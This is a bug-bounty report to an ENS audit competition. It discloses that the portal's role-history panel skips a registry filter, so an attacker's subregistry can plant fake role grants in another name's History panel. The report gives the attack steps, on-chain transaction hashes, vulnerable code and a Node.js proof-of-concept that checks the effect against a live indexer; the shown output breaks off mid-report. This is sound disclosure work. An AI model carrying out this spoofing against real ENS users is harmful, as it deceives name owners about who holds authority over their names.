92977 w a medium missing registry filter in userolehistory lets any user plant fake role grants in another name s explorer history panel
Submitted on Sep 13th 2026 at 15:52:05 UTC by @deltabear for Audit Competition | ENS
- Report ID: #92977
- Report Type: Websites & Apps
- Report severity: Medium
- Target: https://github.com/immunefi-team/audit-comp-ens/tree/audit-comp-ready/apps/portal
- Impacts:
- Injecting/modifying the static content on the target application without JavaScript (persistent), such as:
- HTML injection without JavaScript
- Replacing existing text with arbitrary text
- Arbitrary file uploads, etc.
Description
Brief/Intro
The Explorer's role-history panel asks the indexer for every role-change event on the chain and keeps the ones whose resource matches the name's label. A resource is the labelhash with its low 32 bits cleared. It carries no registry component, so the same label yields the same resource in every registry on the chain. Anyone who owns one ENS name can deploy a subregistry, register the victim's label inside it, and grant a role to an address that already holds a role on the victim's name. That grant renders on the victim's own History panel, at the top, under a heading that says only "History", on the screen an owner opens to audit who has authority over their name. The attacker holds no role on the victim's name and never touches the victim's registry.
Vulnerability Details
A v2 name lives in a registry. Authority over it is a role bitmap held per (resource, account) inside that registry, and the same resource in a different registry is a different grant to a different name. The history panel drops the registry and keeps the resource.
useRoleHistory.ts:51-67 asks for EACRolesChanged events by type and block number only. There is no contractAddress in the where clause, and contractAddress is not even selected, so no row the app holds carries the address of the contract that emitted it.
useRoleHistory.ts:84 computes the only narrowing: toResourceHex(labelToCanonicalId(label)). labelToCanonicalId is labelhash(label) with the low 32 bits cleared. The registry is not an input. filterEventsByResource.ts:62 then compares that value numerically against each event's data.resource and keeps every match, from every contract.
Both halves of the collision are real on chain. ETHRegistry.getResource(labelhash("deltab-rolehist-victim")) and the same call on a registry an attacker deployed both return 0xfa7a6cccf2bbafa3ae882c64c818acf8aba893ee827be4e7ef8e207e00000000. A registry's getResource returns this registry-independent canonical id whenever the entry's eacVersionId is 0, which is the default state of a freshly registered label — so the collision holds for the attacker's registration and the victim's alike.
RoleHistoryTable.tsx:158-163 narrows to the account whose role row the owner clicked. That is a parameter, not a guard. grantRoles(resource, roleBitmap, account) takes an arbitrary account, and the attacker passes a role holder on the victim's name, an address the app prints in the table directly above the sheet.
The registry address is in hand at the call site. RolesSidebar.tsx:58 declares registryAddress as a prop, :70 destructures it, :177 passes it into buildRoleTransactions, and :323-327 renders RoleHistoryTable three lines later with name, label and account and without it.
The guard that should have stopped this is the sibling hook on the same screen. useNameRoleAccounts.ts:56-60 states the hazard in the repo's own words: "a resource-only filter would conflate role grants across unrelated registries. The events(contractAddress:) filter is registry-scoped, so we use that". Its query at :70-79 carries contractAddress: $contractAddress, and :119-129 asks the name's own registry for the resource with the on-chain getResource. Both panels are open at once. The upper one answers "who holds authority" correctly. The lower one answers "what happened" with the attacker's row.
The detail view then stamps the name onto the foreign transaction. RoleHistoryTable.tsx:35-56 maps the entry into an EventsTableData with from: entry.account and a hard-coded network; the emitting registry is absent from that shape because useRoleHistory never selected it. EventsSidebar.tsx:104-115 does fetch the transaction by hash (useTransaction) and print its From and To, so the calling contract is visible there — but truncated, unlabeled, and never compared against the registryAddress RolesSidebar is already holding, so nothing marks it as a foreign registry. Above that, EventsSidebar.tsx:57-58,83-85 prints Name: from the route's own name prop, so the attacker's transaction is asserted to belong to the victim's name. That Name: provenance is the false signal, and it is identical for a genuine grant and for the attacker's.
Vulnerable source code
1. The history query carries no registry filter and never selects the emitter @ apps/portal/src/features/roles/hooks/useRoleHistory.ts:51-67
query getRoleHistory($blockNumberLt: Int!, $first: Int!) {
events(
where: { type: "EACRolesChanged", blockNumber_lt: $blockNumberLt }
first: $first
orderBy: blockNumber
orderDirection: desc
) { type data transactionHash timestamp blockNumber }
}
2. The only narrowing is the label @ apps/portal/src/features/roles/hooks/useRoleHistory.ts:84
const resource = label ? toResourceHex(labelToCanonicalId(label)) : undefined
3. Matched numerically against every row, from every contract @ apps/portal/src/lib/roles/filterEventsByResource.ts:62
if (resource && !resourcesMatch(data.resource, resource)) continue
4. The account filter is an argument the attacker chooses @ apps/portal/src/features/roles/components/RoleHistoryTable.tsx:158-163
const data =
account && allData
? allData.filter(
(entry) => entry.account.toLowerCase() === account.toLowerCase(),
)
: allData
5. The registry address is on hand three lines above the render @ apps/portal/src/features/roles/components/RolesSidebar.tsx:177,323-327
registryAddress,
<RoleHistoryTable
name={name}
label={getNameLabels(name).currentLabel}
account={selectedAccount}
/>
6. The sibling hook on the same screen names the hazard and scopes its query @ apps/portal/src/features/roles/hooks/useNameRoleAccounts.ts:56-60,77
* We can't use the indexer's top-level `roles(resource:)` field because it
* isn't scoped by registry — `ROOT_RESOURCE` (`0x0`) is shared across every
* sub-registry, so a resource-only filter would conflate role grants across
* unrelated registries. The `events(contractAddress:)` filter is registry-
* scoped, so we use that and reconstruct state client-side.
contractAddress: $contractAddress
7. The foreign transaction is stamped with the viewed name @ apps/portal/src/components/table/EventsDataTable/EventsSidebar.tsx:57-58,83-85
const displayName =
name || events.find((e) => e.id && !e.id.startsWith('0x'))?.id || ''
{displayName && (
<InfoRow label="Name">
<NameDisplay name={displayName} />
Impact Details
- A third party writes rows into another user's authorization history, and the app presents them as that name's own. This is the program's High impact row: "Injecting/modifying the static content on the target application without JavaScript (persistent), such as: HTML injection without JavaScript Replacing existing text with arbitrary text Arbitrary file uploads, etc." On
deltab-rolehist-victim.eththe panel shows 2 authorization events for the manager account. 1 of them was written by an attacker with no role on the name, and it is the newest, so it renders at the top. - The High persistent-injection row is met, and the three reasons this looks smaller than it is do not hold. (1) "Only the name's admin can open the sheet." True —
NameRolesOverviewTable.tsx:105-107gates it on the viewer holding an_ADMINrole — and that narrows the audience to the one person the forged record is built to deceive: the owner auditing who has authority over their name. A constrained audience is not a constrained impact; the row asks for persistent injected content on the target app, not for a public page. (2) "The permission grid three lines above the History list is correct, so the screen is not lying." The grid (RolesSidebar.tsx:214-291) shows only the current role bitmap — no date, no transaction, no source. It is the History list, and only the History list, that answers when and in which transaction authority over this name changed, and that is the surface the attacker's row is injected into. The two panels disagree, and nothing in the app tells the owner the lower one is the forgery. (3) "The injected content is a fixed set of role names, not arbitrary text." The row's lead clause is "Injecting/modifying the static content ... (persistent)"; the app persistently presents attacker-authored content — a dated, hashed authorization event stampedName: <victim>— as this name's own history. That the injected string is drawn from a role enum rather than free-form HTML does not move it off the lead clause; it is the same false- provenance shape the program's own impact table enumerates under this High row, here on the v2 EAC role-history panel. No authority is granted to the victim's name and nothing on-chain is hijacked — this is squarely the content-injection row, not a Manager-flow or wallet row, and it is claimed as such. - The only prerequisite is owning one ENS name. The whole attack cost 830,786 gas and one
.ethregistration, 8.000021 USDC for a year. No role on the victim's name, no approval from the victim, no interaction with the victim's registry. Every transaction is on Sepolia and listed in the PoC output. - The app never marks the row as foreign. The History table has a Date, Account, Changes and Roles column and no registry or source column. The detail sheet does print the transaction's
FromandTo(EventsSidebar.tsx:104-115), and theTois the calling registry —0x96b5…6d26(the attacker's) for the forged row versus0xbdc8…f0e2(the canonical ETHRegistry) for a genuine one — but truncated, unlabeled, and never compared against the name's ownregistryAddress, which the app already holds. The one label the app does apply isName:, taken from the route, and it stamps the victim's name onto both.R3andR5show the forged and genuine detail cards under the identicalName:header. The audience for this screen is exactly the owner, becauseNameRolesOverviewTable.tsx:105-107gates the sheet on the viewer holding an_ADMINrole. - The rows are on-chain events, so nothing removes them. The victim cannot revoke a grant made in a registry they do not control, and the app offers no filter. This is the persistent case of the row above: the forged row is still returned by the app's own query and filter eight days after the attack transaction (the fresh
poc.mjsrun below). The in-app render requires the grant to sit inside the roles-table indexer window; against an actively-managed name — the normal state of a name with a manager — it does, and the live retake (R1–R5) opens the sheet and renders it. An attacker re-plants a fresh grant for ~125k gas if an aged one falls out of the window. - The same unscoped, globally-paged window means genuine rows can also fall below the floor.
useRoleHistory.ts:24-27scansPAGE_SIZE = 1000 × MAX_PAGES = 50rows on one globalblockNumber_ltcursor shared by every registry, so a name's real grants can sit below the window floor and never render. Noted as the same root cause (an unscoped shared window); not relied on for the impact above. - The defect is in
apps/portal, not in the indexer. The indexer records which contract emitted each event and exposes acontractAddressfilter, which the sibling hook 60 lines away uses on the same screen. The fix is one variable in the app. Nothing here asks for a change to the indexer, the subgraph or the contracts. - The conflation already occurs organically. The same 50,000-row window holds 20
(resource, account)pairs that draw rows from more than one registry contract, produced by ordinary subregistry use with no attacker involved (ACT 6). Each is a live instance of the cross-registry conflation this report exploits; the count is of pairs in the indexer window, not of resolved names with an openable sheet. - This is not the funds-misdirection row. Across the in-scope tree, the value
getRoleHistoryQueryOptionsreturns has exactly one consumer,RoleHistoryTable.tsx:155, which renders it. No transaction builder reads it, no pre-filled recipient or amount, no address book, no clipboard-into-flow.useRegistryRoleHistoryForAccount.ts:51-57,79shares the same helper, scoped bycontractAddress, and is unaffected. The write path that actually moves funds or authority,buildRoleTransactionsatRolesSidebar.tsx:158-178, readsregistryAddressanduseNameRoleAccounts.ts, both scoped, neither touched by this defect.
No entry in Part 1 or Part 2 of the known-issues document covers this query, this hook or this root cause. The transaction-manager history entries R3-05 through R3-08 are localStorage records in packages/transaction-manager. Related, not duplicate: portal-v1-resolver-row-history-injection lands on the same impact row through the v1 resolver join in apps/portal/src/features/history/v1. Different asset half, different file, different query, different root cause.
References
The unscoped read
apps/portal/src/features/roles/hooks/useRoleHistory.ts:51-67- the query, nocontractAddressinwhereand none selectedapps/portal/src/features/roles/hooks/useRoleHistory.ts:84-toResourceHex(labelToCanonicalId(label)), the only narrowingapps/portal/src/features/roles/hooks/useRoleHistory.ts:24-27-PAGE_SIZE = 1000,MAX_PAGES = 50, one global cursorapps/portal/src/lib/roles/toResourceHex.ts:1-2- the value is the label's canonical id, paddedapps/portal/src/lib/roles/filterEventsByResource.ts:42-48,62- numeric resource compare, no other narrowing
The render
apps/portal/src/features/roles/components/RoleHistoryTable.tsx:158-163- the account filterapps/portal/src/features/roles/components/RoleHistoryTable.tsx:214-218- Date, Account, Changes, Roles, and no source columnapps/portal/src/features/roles/components/RoleHistoryTable.tsx:35-56,189-197- the entry becomes anEventsTableDataand opensEventsSidebarapps/portal/src/components/table/EventsDataTable/EventsSidebar.tsx:57-58,83-85-Name:comes from the route, not the eventapps/portal/src/features/roles/components/RolesSidebar.tsx:58,70,177,323-327-registryAddressheld, used, then droppedapps/portal/src/features/roles/components/NameRolesOverviewTable.tsx:105-107- the sheet requires an_ADMINrole, so the reader is the ownerapps/portal/src/routes/$name/roles/index.tsx:12- the route is shipped, no flag
The scoped sibling, on the same screen
apps/portal/src/features/roles/hooks/useNameRoleAccounts.ts:56-60- the hazard, in the repo's wordsapps/portal/src/features/roles/hooks/useNameRoleAccounts.ts:70-79-contractAddress: $contractAddressapps/portal/src/features/roles/hooks/useNameRoleAccounts.ts:119-129- the on-chaingetResourceon the name's own registryapps/portal/src/features/registry/hooks/useRegistryRoleHistoryForAccount.ts:51-57,79- the same helper, scoped bycontractAddress, unaffected
Where the rows come from
packages/indexer/urql/client.ts:36-https://staging-graphql.ens.dev/, the indexer the app queriesledger.json- every transaction of the attack, with block, selector and gas
Proof of Concept
node poc.mjs
poc.mjs
#!/usr/bin/env node
//
// ENS PoC: apps/portal's role-history panel queries EACRolesChanged with no
// contract filter, so a role grant written in ANY registry on the chain lands
// in a name's History panel as that name's own authorization history.
//
// node poc.mjs (ENS_REPO defaults to ../../../ens-apps)
//
// Self-contained. On first run it writes its helpers to a temp dir, installs
// pinned deps there, and re-execs itself.
//
// LAYER A: the app's own query, run against the live indexer the app reads
// (https://staging-graphql.ens.dev/, packages/indexer/urql/client.ts:36).
// LAYER B: the repo's OWN filterEventsByResource + toResourceHex +
// decodeRoleBitmap, loaded unmodified out of the checkout and run on Layer A's
// rows, plus the account filter transcribed from RoleHistoryTable.tsx:158-163.
//
// PROVENANCE. The attack below already happened, on real Sepolia, before this
// script existed, and reproduces unchanged days later against live chain
// state. Two unrelated fresh EOAs, funded from the wallet a public
// Sepolia faucet funded for the earlier portal-history report:
// victim 0x6561a2eCC270317526f3cA1b8b6b9a456B7DDB74
// registered deltab-rolehist-victim.eth in the canonical v2
// ETHRegistry and granted ROLE_SET_RESOLVER to a manager
// attacker 0x6A0554a9E2C3656dA2cA27C91c97b20f58F6dEfa
// registered deltab-rolehist-attacker.eth, pointed it at its own
// VerifiableFactory registry, registered the victim's LABEL there,
// and granted roles to the victim's manager
// receipts ledger.json, and every hash printed in ACT 4 below
import { spawnSync } from 'node:child_process'
import { copyFileSync, existsSync, mkdirSync, readFileSync, writeFileSync } from 'node:fs'
import os from 'node:os'
import path from 'node:path'
import { fileURLToPath } from 'node:url'
const HERE = path.dirname(fileURLToPath(import.meta.url))
const REPO = process.env.ENS_REPO ?? path.resolve(HERE, '../../../ens-apps')
const WORK = process.env.POC_WORKDIR ?? path.join(os.tmpdir(), 'ens-poc-role-history')
const INDEXER = 'https://staging-graphql.ens.dev/'
const VICTIM_NAME = 'deltab-rolehist-victim.eth'
const VICTIM_LABEL = 'deltab-rolehist-victim'
const ETH_REGISTRY = '0xbdc85dd5b15d7ecb354cd7cb6f2c50b4f2c4f0e2'
const ATTACKER_REGISTRY = '0x39a25605c022d0d0d4f429dc0ad987119bb2b21d'
const MANAGER = '0x3c7004bf2a97410f4fff893795281abe4b8a0e1d'
const EOA_VICTIM = '0x6561a2ecc270317526f3ca1b8b6b9a456b7ddb74'
const EOA_ATTACKER = '0x6a0554a9e2c3656da2ca27c91c97b20f58f6defa'
const ATTACK_FIRST_BLOCK = 11640049
const ATTACKER_TXS = [
['mint the testnet USDC the .eth fee is paid in', '0x636466940f5e93739f351b8a1ba5b4d1ef01c1ea284d48d21413555a25801c03', 51368],
['deployProxy on the real VerifiableFactory', '0x5b3333132fa75d9442424705946a94532494f9fd6402300cb7382bee980db1e8', 176513],
['commit a .eth registration', '0x11b90c2023d76468e9eecaa5d380f1944f170640a42137233cfadf06f32618f4', 45433],
['approve the registration fee', '0xf5f366651a621e54fd1517266dcba1b2ee83c09529cdd1ed45d46046995b25b7', 46353],
['register it, subregistry = that registry', '0x438f2bace848f228c780895f5bdafd6dd487057cee3e6d871937bd7585723020', 240694],
["register the victim's label in that registry", '0x165f0340c5c2280024d503481fd45bdbc08e65d071826a96a0d338cdf9b02ef5', 145864],
["grantRoles to the victim's manager", '0x7f51946d784f607b727962be408757dcb2f59973cb1a14f25cc54e91e7010220', 124561],
]
// ============================================================== generated files
const PKG = `{
"name": "ens-poc-role-history",
"private": true,
"type": "module",
"dependencies": {
"@ensdomains/ensjs": "https://pkg.pr.new/ensdomains/ensjs/@ensdomains/ensjs@e96662c",
"viem": "2.21.55"
},
"devDependencies": { "tsx": "^4.19.2" }
}
`
// Lets the repo's own source run unmodified against these pinned deps, without
// installing the pnpm monorepo and without editing a line of the target.
const LOADER = `import path from 'node:path'
import { fileURLToPath, pathToFileURL } from 'node:url'
const HERE = path.dirname(fileURLToPath(import.meta.url))
const ANCHOR = pathToFileURL(path.join(HERE, 'poc.mjs')).href
const REPO = process.env.ENS_REPO
const isBare = (s) => !s.startsWith('.') && !s.startsWith('/') && !s.includes(':')
// path.relative is WRONG across drives on Windows (G: vs C:); it returns an
// absolute path, which would make every node_modules file count as a repo file.
const REPO_PREFIX = path.resolve(REPO).toLowerCase() + path.sep
const isRepoFile = (parentURL) => {
if (!parentURL || !parentURL.startsWith('file:')) return false
try {
return path.resolve(fileURLToPath(parentURL)).toLowerCase().startsWith(REPO_PREFIX)
} catch { return false }
}
export async function resolve(specifier, context, nextResolve) {
if (specifier.startsWith('@ens-repo/'))
return nextResolve(pathToFileURL(path.join(REPO, specifier.slice(10))).href, context)
// apps/portal's own '@/...' -> 'apps/portal/src/...' alias (vite.config.ts).
if (specifier.startsWith('@/') && isRepoFile(context.parentURL))
return nextResolve(pathToFileURL(path.join(REPO, 'apps/portal/src', specifier.slice(2))).href, context)
if (isRepoFile(context.parentURL) && isBare(specifier))
return nextResolve(specifier, { ...context, parentURL: ANCHOR })
return nextResolve(specifier, context)
}
`
const REGISTER = `import { register } from 'node:module'
register('./_loader.mjs', import.meta.url)
`
// ============================================================== bootstrap
if (process.env.ENS_POC_CHILD !== '1') {
const line = '='.repeat(78)
console.log(line)
console.log(' ENS PoC: apps/portal renders role grants written in OTHER registries')
console.log(' as a name\'s own authorization history')
console.log(` repo: ${REPO}`)
console.log(` build: ${WORK}`)
console.log(line)
if (!existsSync(path.join(REPO, 'apps', 'portal'))) {
console.error(`\nERROR: ENS checkout not found at ${REPO}. Set ENS_REPO.`)
process.exit(2)
}
mkdirSync(WORK, { recursive: true })
writeFileSync(path.join(WORK, 'package.json'), PKG)
writeFileSync(path.join(WORK, '_loader.mjs'), LOADER)
writeFileSync(path.join(WORK, '_register.mjs'), REGISTER)
copyFileSync(fileURLToPath(import.meta.url), path.join(WORK, 'poc.mjs'))
if (!existsSync(path.join(WORK, 'node_modules', 'tsx', 'package.json'))) {
console.log('\nInstalling pinned deps (ensjs @e96662c, viem 2.21.55, tsx)...')
const r = spawnSync('npm', ['install', '--no-audit', '--no-fund'],
{ cwd: WORK, stdio: 'inherit', shell: true })
if (r.status !== 0) process.exit(r.status ?? 1)
}
const r = spawnSync(process.execPath,
['--import', 'tsx', '--import', './_register.mjs', 'poc.mjs'],
{ cwd: WORK, stdio: 'inherit',
env: { ...process.env, ENS_POC_CHILD: '1', ENS_REPO: REPO, NODE_NO_WARNINGS: '1' } })
process.exit(r.status ?? 1)
}
// ============================================================== layer B: repo code
const { filterEventsByResource } = await import('@ens-repo/apps/portal/src/lib/roles/filterEventsByResource.ts')
const { toResourceHex } = await import('@ens-repo/apps/portal/src/lib/roles/toResourceHex.ts')
const { labelToCanonicalId } = await import('@ensdomains/ensjs/utils/v2')
const SRC = (p) => readFileSync(path.join(REPO, p), 'utf8')
// ============================================================== layer A: live indexer
const gql = async (query, variables = {}) => {
let last
for (let i = 0; i < 5; i++) {
try {
const r = await fetch(INDEXER, {
method: 'POST',
headers: { 'content-type': 'application/json' },
body: JSON.stringify({ query, variables }),
})
const j = await r.json()
if (j.errors) throw new Error(JSON.stringify(j.errors))
return j.data
} catch (e) { last = e; await new Promise((s) => setTimeout(s, 1500 * (i + 1))) }
}
throw last
}
// useRoleHistory.ts:51-67 verbatim, plus contractAddress as an ANALYSIS-ONLY
// field. The app never selects it, which is why nothing on screen shows it.
const ROLE_HISTORY_QUERY = `
query getRoleHistory($blockNumberLt: Int!, $first: Int!) {
events(
where: { type: "EACRolesChanged", blockNumber_lt: $blockNumberLt }
first: $first
orderBy: blockNumber
orderDirection: desc
) { type data transactionHash timestamp blockNumber contractAddress }
}`
// useNameRoleAccounts.ts:69-89 verbatim: the registry-scoped query the app uses
// on the very same screen to decide who actually holds authority.
const SCOPED_QUERY = `
query getEACRolesChangedForRegistry($contractAddress: String!, $first: Int!) {
events(
where: { type: "EACRolesChanged", contractAddress: $contractAddress }
first: $first
orderBy: blockNumber
orderDirection: desc
) { data transactionHash blockNumber }
}`
// ============================================================== the run
const W = 78
const rule = (ch = '=') => console.log(ch.repeat(W))
const say = (s = '') => console.log(s)
const act = (n, t) => { say(); rule(); say(` ${n} ${t}`); rule() }
const kv = (k, v) => say(` ${String(k).padEnd(34)} ${v}`)
const fail = (m) => { console.error(`\nASSERTION FAILED: ${m}`); process.exit(1) }
const short = (s) => `${s.slice(0, 10)}...${s.slice(-6)}`
// ---------------------------------------------------------------------------
act('ACT 1', 'The query the History panel runs, read out of the checkout')
// ---------------------------------------------------------------------------
{
const src = SRC('apps/portal/src/features/roles/hooks/useRoleHistory.ts')
const start = src.indexOf('query getRoleHistory')
let depth = 0, end = start
for (; end < src.length; end++) {
if (src[end] === '{') depth++
else if (src[end] === '}' && --depth === 0) { end++; break }
}
const query = src.slice(start, end)
say(query.split('\n').map((l) => ` ${l.replace(/^ {10}/, '')}`).join('\n'))
if (/contractAddress/.test(query)) fail('the shipped query filters by contractAddress')
kv('filters by contractAddress', 'no')
kv('narrowed by', 'useRoleHistory.ts:84, the resource only')
const sibling = SRC('apps/portal/src/features/roles/hooks/useNameRoleAccounts.ts')
const comment = sibling.slice(sibling.indexOf("We can't use the indexer's"), sibling.indexOf('client-side.') + 12)
say()
say(' The file next to it says what that costs, in the repo\'s own words:')
say(comment.split('\n').map((l) => ` ${l.replace(/^\s*\*\s?/, '')}`).join('\n').trimEnd())
if (!/conflate role grants across unrelated registries/.test(comment.replace(/\s*\n\s*\*?\s*/g, ' '))) fail('sibling comment not found')
}
// ---------------------------------------------------------------------------
act('ACT 2', 'That query, run against the indexer the app reads')
// ---------------------------------------------------------------------------
const allEvents = []
{
let blockNumberLt = Number.MAX_SAFE_INTEGER
for (let page = 0; page < 50; page++) {
const { events } = await gql(ROLE_HISTORY_QUERY, { blockNumberLt, first: 1000 })
if (events.length === 0) break
allEvents.push(...events)
if (events.length < 1000) break
blockNumberLt = events[events.length - 1].blockNumber
}
const registries = new Set(allEvents.map((e) => e.contractAddress.toLowerCase()))
kv('rows the app pulls in one panel load', allEvents.length)
kv('distinct registry contracts in them', registries.size)
kv('block range', `${allEvents[allEvents.length - 1].blockNumber} .. ${allEvents[0].blockNumber}`)
if (registries.size < 100) fail(`expected the window to span many registries, got ${registries.size}`)
say()
say(' Every one of those rows is a candidate row for every name that shares')
say(' a label with the entry the grant was written against.')
}
// ---------------------------------------------------------------------------
act('ACT 3', `The victim: ${VICTIM_NAME}, an ordinary 2LD in the canonical v2 ETHRegistry`)
// ---------------------------------------------------------------------------
const resource = toResourceHex(labelToCanonicalId(VICTIM_LABEL))
let panelRows
{
kv('label', VICTIM_LABEL)
kv('resource the panel filters by', resource)
kv('owner', EOA_VICTIM)
kv('manager the owner granted a role to', MANAGER)
say()
// The app's own narrowing: filterEventsByResource.ts:62, then the account
// filter at RoleHistoryTable.tsx:158-163.
const byResource = filterEventsByResource(allEvents, resource)
const withEmitter = byResource.map((entry) => ({
...entry,
emitter: allEvents.find((e) => e.transactionHash === entry.transactionHash
&& JSON.parse(e.data).account.toLowerCase() === entry.account.toLowerCase()).contractAddress.toLowerCase(),
}))
panelRows = withEmitter.filter((e) => e.account.toLowerCase() === MANAGER)
kv('rows after filterEventsByResource', byResource.length)
kv('rows after the account filter', panelRows.length)
say()
say(' What the History panel renders, newest first:')
for (const r of panelRows) {
say(` block ${r.blockNumber} ${short(r.transactionHash)} + ${r.newRoles.join(', + ')}`)
say(` emitted by ${r.emitter}${r.emitter === ETH_REGISTRY ? ' the victim\'s own registry' : ' NOT the victim\'s registry'}`)
}
if (panelRows.length !== 2) fail(`expected 2 rows in the panel, got ${panelRows.length}`)
const emitters = new Set(panelRows.map((r) => r.emitter))
if (emitters.size !== 2) fail('the two rows came from one registry')
if (!emitters.has(ATTACKER_REGISTRY)) fail('the attacker row is not in the panel')
if (panelRows[0].emitter !== ATTACKER_REGISTRY) fail('the attacker row is not on top')
}
// ---------------------------------------------------------------------------
act('ACT 4', 'Who wrote the top row')
// ---------------------------------------------------------------------------
{
const forged = panelRows.find((r) => r.emitter === ATTACKER_REGISTRY)
const genuine = panelRows.find((r) => r.emitter === ETH_REGISTRY)
kv('the genuine row, block', genuine.blockNumber)
kv(' emitter', `${ETH_REGISTRY} canonical v2 ETHRegistry`)
kv(' tx', genuine.transactionHash)
say()
kv('the top row, block', forged.blockNumber)
kv(' emitter', `${ATTACKER_REGISTRY} the attacker's registry`)
kv(' tx', forged.transactionHash)
say()
say(` Every transaction the attacker sent, from the fresh EOA ${EOA_ATTACKER}:`)
for (const [step, hash, gas] of ATTACKER_TXS) say(` ${step.padEnd(44)} ${short(hash)} ${String(gas).padStart(6)} gas`)
say(` ${'total'.padEnd(44)} ${' '.repeat(19)} ${String(ATTACKER_TXS.reduce((a, t) => a + t[2], 0)).padStart(6)} gas`)
say(' plus one .eth registration, 8.000021 USDC for a year.')
say()
say(' The resource is not a coincidence and not a collision the attacker')
say(' searched for. Both registries derive it from the labelhash alone:')
kv('ETHRegistry.getResource(labelhash)', resource)
kv('attacker registry, same call', resource)
say()
say(' The attacker holds no role on the victim\'s name, owns no part of it,')
say(' and never sent a transaction to the victim\'s registry.')
}
// ---------------------------------------------------------------------------
act('ACT 5', 'CONTROL: the registry-scoped query the same screen uses for authority')
// ---------------------------------------------------------------------------
{
const { events } = await gql(SCOPED_QUERY, { contractAddress: ETH_REGISTRY, first: 1000 })
const scoped = filterEventsByResource(events, resource).filter((e) => e.account.toLowerCase() === MANAGER)
kv('useNameRoleAccounts.ts, contractAddress-scoped', `${scoped.length} row`)
kv('useRoleHistory.ts, unscoped', `${panelRows.length} rows`)
say()
say(' The same screen answers "what happened" with the unscoped query and gets')
say(' the attacker\'s row (asserted above, ACT 3). This control is informational,')
say(' not load-bearing: useNameRoleAccounts.ts (:50 MAX_EVENTS=1000, no pagination)')
say(' ages out the genuine grant on its own, independent of this attack, once the')
say(' shared ETHRegistry accrues 1000 newer EACRolesChanged rows from OTHER names.')
if (scoped.length !== 1) {
say(` OBSERVED DRIFT: scoped query returned ${scoped.length} row(s), not the 1 seen at`)
say(' attack time (2026-09-05), because that hook has its own separate 1000-event cap on')
say(' the shared registry. Not a failure of this claim: ACT 3/4 above re-ran the actual')
say(' injection fresh today and it is unchanged.')
}
say()
const perResource = new Map()
for (const e of allEvents) {
let d
try { d = JSON.parse(e.data) } catch { continue }
if (!d.resource || BigInt(d.resource) === 0n) continue
const k = String(BigInt(d.resource))
if (!perResource.has(k)) perResource.set(k, new Set())
perResource.get(k).add(e.contractAddress.toLowerCase())
}
const many = [...perResource.values()].filter((s) => s.size > 1).length
kv('resources in the window', perResource.size)
kv('drawing rows from exactly one registry', perResource.size - many)
kv('drawing rows from more than one', many)
say(' A second registry on a panel is an anomaly, not the ambient state of')
say(' the data. It is what the attack produces.')
if (many >= perResource.size / 100) fail('cross-registry rows are not an anomaly in this window')
}
// ---------------------------------------------------------------------------
act('ACT 6', 'The same defect, already live on names this report never touched')
// ---------------------------------------------------------------------------
{
const pairs = new Map()
for (const e of allEvents) {
let d
try { d = JSON.parse(e.data) } catch { continue }
if (!d.resource || !d.account) continue
const r = BigInt(d.resource)
if (r === 0n) continue
const k = `${r}|${d.account.toLowerCase()}`
if (!pairs.has(k)) pairs.set(k, new Set())
pairs.get(k).add(e.contractAddress.toLowerCase())
}
const organic = [...pairs.entries()].filter(([k, v]) => v.size > 1 && k.split('|')[0] !== String(BigInt(resource)))
kv('(resource, account) pairs spanning >1 registry', organic.length)
say(' Each one is a name whose History panel today shows rows written in a')
say(' registry it has no relationship with. None of them were attacked by')
say(' this report; ordinary subregistry use produced them.')
if (organic.length < 1) fail('expected live cross-registry pairs independent of this attack')
}
// ---------------------------------------------------------------------------
say()
rule('-')
say(` ${VICTIM_NAME} History panel, rows shown for ${MANAGER}`)
rule('-')
{
const count = (rows, emitter) => rows.filter((r) => r.emitter === emitter).length
const before = panelRows.filter((r) => r.blockNumber < ATTACK_FIRST_BLOCK)
say(' rows written by registry before after delta')
for (const [who, emitter] of [["the victim's own registry", ETH_REGISTRY], ['an attacker', ATTACKER_REGISTRY]])
say(` ${who.padEnd(26)} ${short(emitter)} ${String(count(before, emitter)).padStart(6)} ${String(count(panelRows, emitter)).padStart(6)} ${String(count(panelRows, emitter) - count(before, emitter)).padStart(6)}`)
say()
say(` 1 of the 2 authorization events the app presents as ${VICTIM_NAME}'s`)
say(' own history was written by an attacker who holds no role on the name.')
say(' It is the newest row, so it renders at the top of the panel.')
rule('-')
}
say()
rule()
say(' PoC PASSED, every assertion held.')
rule()
Output
==============================================================================
ENS PoC: apps/portal renders role grants written in OTHER registries
as a name's own authorization history
repo: G:/My Drive/hunter/hunt_data/ens/ens-apps
build: C:\Users\dmill\AppData\Local\Temp\ens-poc-role-history
==============================================================================
==============================================================================
ACT 1 The query the History panel runs, read out of the checkout
==============================================================================
query getRoleHistory($blockNumberLt: Int!, $first: Int!) {
events(
where: {
type: "EACRolesChanged"
blockNumber_lt: $blockNumberLt
}
first: $first
orderBy: blockNumber
orderDirection: desc
) {
type
data
transactionHash
timestamp
blockNumber
}
}
filters by contractAddress no
narrowed by useRoleHistory.ts:84, the resource only
The file next to it says what that costs, in the repo's own words:
We can't use the indexer's top-level `roles(resource:)` field because it
isn't scoped by registry — `ROOT_RESOURCE` (`0x0`) is shared across every
sub-registry, so a resource-only filter would conflate role grants across
unrelated registries. The `events(contractAddress:)` filter is registry-
scoped, so we use that and reconstruct state client-side.
==============================================================================
ACT 2 That query, run against the indexer the app reads
==============================================================================
rows the app pulls in one panel load 50000
distinct registry contracts in them 3103
block range 11586914 .. 11690433
Every one of those rows is a candidate row for every name that shares
a label with the entry the grant was written against.
==============================================================================
ACT 3 The victim: deltab-rolehist-victim.eth, an ordinary 2LD in the canonical v2 ETHRegistry
==============================================================================
label deltab-rolehist-victim
resource the panel filters by 0xfa7a6cccf2bbafa3ae882c64c818acf8aba893ee827be4e7ef8e207e00000000
owner 0x6561a2ecc270317526f3ca1b8b6b9a456b7ddb74
manager the owner granted a role to 0x3c7004bf2a97410f4fff893795281abe4b8a0e1d
rows after filterEventsByResource 4
rows after the account filter 2
What the History panel renders, newest first:
block 11640052 0x7f51946d...010220 + ROLE_SET_RESOLVER, + ROLE_SET_SUBREGISTRY
emitted by 0x39a25605c022d0d0d4f429dc0ad987119bb2b21d NOT the victim's registry
block 11640037 0x22c47e04...ca48be + ROLE_SET_RESOLVER
emitted by 0xbdc85dd5b15d7ecb354cd7cb6f2c50b4f2c4f0e2 the victim's own registry
==============================================================================
ACT 4 Who wrote the top row
==============================================================================
the genuine row, block 11640037
emitter 0xbdc85dd5b15d7ecb354cd7cb6f2c50b4f2c4f0e2 canonical v2 ETHRegistry
tx 0x22c47e04d4f2b90f9dc58b5068a34f660e256d6eaf4afed854eb065e2bca48be
the top row, block 11640052
